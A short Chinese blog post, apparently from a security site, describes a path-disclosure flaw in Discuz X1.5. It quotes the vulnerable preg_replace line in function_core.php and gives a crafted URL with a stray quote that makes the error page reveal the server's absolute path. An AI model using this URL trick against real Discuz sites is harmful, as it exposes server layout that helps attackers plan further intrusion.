Discuz 1.5暴WEB路径漏洞
测试环境:discuz X1.5+nginx 1.0
漏洞文件source/function/function_core.php,
代码:
$_G['setting']['domain']['app']['default'] && $content = preg_replace("/<a href=\"([^\"]+)\"/e", "rewriteoutput('site_default', 0, '".$_G['setting']['domain']['app']['default'].$port.$_G['siteroot']."', '\\1')", $content);
利用代码:
https://www.webshell.cc/forum.php/admin.php’/XXXXXXX.php
就可以在底部看到一个爆出绝对路径的错误了
转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/1137.html